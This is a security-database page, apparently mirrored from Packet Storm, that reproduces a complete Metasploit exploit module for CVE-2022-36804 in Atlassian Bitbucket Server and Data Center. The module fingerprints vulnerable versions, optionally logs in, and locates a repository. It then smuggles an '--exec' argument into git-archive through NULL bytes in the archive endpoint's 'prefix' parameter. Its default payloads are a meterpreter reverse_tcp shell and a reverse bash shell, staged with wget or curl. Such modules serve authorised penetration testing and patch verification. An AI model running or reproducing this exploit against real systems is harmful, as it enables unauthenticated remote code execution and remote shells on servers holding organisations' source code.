Lucene search
K

Bitbucket Git Command Injection

🗓️ 22 Sep 2022 00:00:00Reported by Ron Bowes, Shelby Pace, Jang, TheGrandPew, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 335 Views

Bitbucket Git Command Injection vulnerability in unauthenticated API endpoints; exploiting `git-archive` command

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Bitbucket Git Command Injection',  
'Description' => %q{  
Various versions of Bitbucket Server and Data Center are vulnerable to  
an unauthenticated command injection vulnerability in multiple API endpoints.  
  
The `/rest/api/latest/projects/{projectKey}/repos/{repositorySlug}/archive` endpoint  
creates an archive of the repository, leveraging the `git-archive` command to do so.  
Supplying NULL bytes to the request enables the passing of additional arguments to the  
command, ultimately enabling execution of arbitrary commands.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'TheGrandPew', # discovery  
'Ron Bowes', # analysis and PoC  
'Jang', # testanull - PoC  
'Shelby Pace' # Metasploit module  
],  
'References' => [  
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html' ],  
[ 'URL', 'https://attackerkb.com/topics/iJIxJ6JUow/cve-2022-36804/rapid7-analysis' ],  
[ 'URL', 'https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/' ],  
[ 'CVE', '2022-36804' ]  
],  
'Platform' => [ 'linux' ],  
'Privileged' => false,  
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],  
'Targets' => [  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Type' => :linux_dropper,  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'CmdStagerFlavor' => %w[wget curl bourne],  
'DefaultOptions' => { 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Type' => :unix_cmd,  
'Arch' => ARCH_CMD,  
'Payload' => { 'BadChars' => %(:/?#[]@) },  
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }  
}  
]  
],  
'DisclosureDate' => '2022-08-24',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'Reliability' => [ IOC_IN_LOGS ],  
'SideEffects' => [ REPEATABLE_SESSION ]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(7990),  
OptString.new('TARGETURI', [ true, 'The base URI of Bitbucket application', '/']),  
OptString.new('USERNAME', [ false, 'The username to authenticate with', '' ]),  
OptString.new('PASSWORD', [ false, 'The password to authenticate with', '' ])  
]  
)  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'keep_cookies' => true,  
'uri' => normalize_uri(target_uri.path, 'login')  
)  
  
return CheckCode::Unknown('Failed to receive response from application') unless res  
  
unless res.body.include?('Bitbucket')  
return CheckCode::Safe('Target does not appear to be Bitbucket')  
end  
  
footer = res.get_html_document&.at('footer')  
return CheckCode::Detected('Cannot determine version of Bitbucket') unless footer  
  
version_str = footer.at('span')&.children&.text  
return CheckCode::Detected('Cannot find version string in footer') unless version_str  
  
matches = version_str.match(/v(\d+\.\d+\.\d+)/)  
return CheckCode::Detected('Version unknown') unless matches && matches.length > 1  
  
version_str = matches[1]  
vprint_status("Found Bitbucket version: #{matches[1]}")  
  
num_vers = Rex::Version.new(version_str)  
return CheckCode::NotVulnerable if num_vers <= Rex::Version.new('6.10.17')  
  
major, minor, revision = version_str.split('.')  
case major  
when '6'  
return CheckCode::Appears  
when '7'  
case minor  
when '6'  
return CheckCode::Appears if revision.to_i < 17  
when '17'  
return CheckCode::Appears if revision.to_i < 10  
when '21'  
return CheckCode::Appears if revision.to_i < 4  
end  
when '8'  
case minor  
when '0', '1'  
return CheckCode::Appears if revision.to_i < 3  
when '2'  
return CheckCode::Appears if revision.to_i < 2  
when '3'  
return CheckCode::Appears if revision.to_i < 1  
end  
end  
  
CheckCode::Detected  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def authenticate  
print_status("Attempting to authenticate with user '#{username}' and password '#{password}'")  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to reach login page') unless res&.body&.include?('login')  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),  
'keep_cookies' => true,  
'vars_post' =>  
{  
'j_username' => username,  
'j_password' => password,  
'submit' => 'Log in'  
}  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to retrieve a response from log in attempt') unless res  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'dashboard'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::UnexpectedReply, 'Failed to receive a response from the dashboard') unless res  
  
unless res.body.include?('Your work') && res.body.include?('Projects')  
fail_with(Failure::BadConfig, 'Login failed...Credentials may be invalid')  
end  
  
@authenticated = true  
print_good('Successfully logged into Bitbucket!')  
end  
  
def find_public_repo  
print_status('Searching Bitbucket for publicly accessible repository')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),  
'keep_cookies' => true  
)  
  
fail_with(Failure::Disconnected, 'Did not receive a response') unless res  
json_data = JSON.parse(res.body)  
fail_with(Failure::UnexpectedReply, 'Response had no JSON') unless json_data  
  
unless json_data['size'] > 0  
fail_with(Failure::NotFound, 'Bitbucket instance has no publicly available repositories')  
end  
  
# opt for public repos unless none exist.  
# Attempt to use a private repo if so  
repos = json_data['values']  
possible_repos = repos.select { |repo| repo['public'] == true }  
if possible_repos.empty? && @authenticated  
possible_repos = repos.select { |repo| repo['public'] == false }  
end  
  
fail_with(Failure::NotFound, 'There doesn\'t appear to be any repos to use') if possible_repos.empty?  
possible_repos.each do |repo|  
project = repo['project']  
next unless project  
  
@project = project['key']  
@repo = repo['slug']  
break if @project && @repo  
end  
  
fail_with(Failure::NotFound, 'Failed to find a repo to use for exploit') unless @project && @repo  
print_good("Found public repo '#{@repo}' in project '#{@project}'!")  
end  
  
def execute_command(cmd, _opts = {})  
uri = normalize_uri(target_uri.path, 'rest/api/latest/projects', @project, 'repos', @repo, 'archive')  
send_request_cgi(  
'method' => 'GET',  
'uri' => uri,  
'keep_cookies' => true,  
'vars_get' =>  
{  
'format' => 'zip',  
'path' => Rex::Text.rand_text_alpha(2..5),  
'prefix' => "#{Rex::Text.rand_text_alpha(1..3)}\x00--exec=`#{cmd}`\x00--remote=#{Rex::Text.rand_text_alpha(3..8)}"  
}  
)  
end  
  
def exploit  
@authenticated = false  
authenticate unless username.blank? && password.blank?  
find_public_repo  
  
if target['Type'] == :linux_dropper  
execute_cmdstager(linemax: 6000)  
else  
execute_command(payload.encoded)  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Sep 2022 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 3.18.8
EPSS0.944
335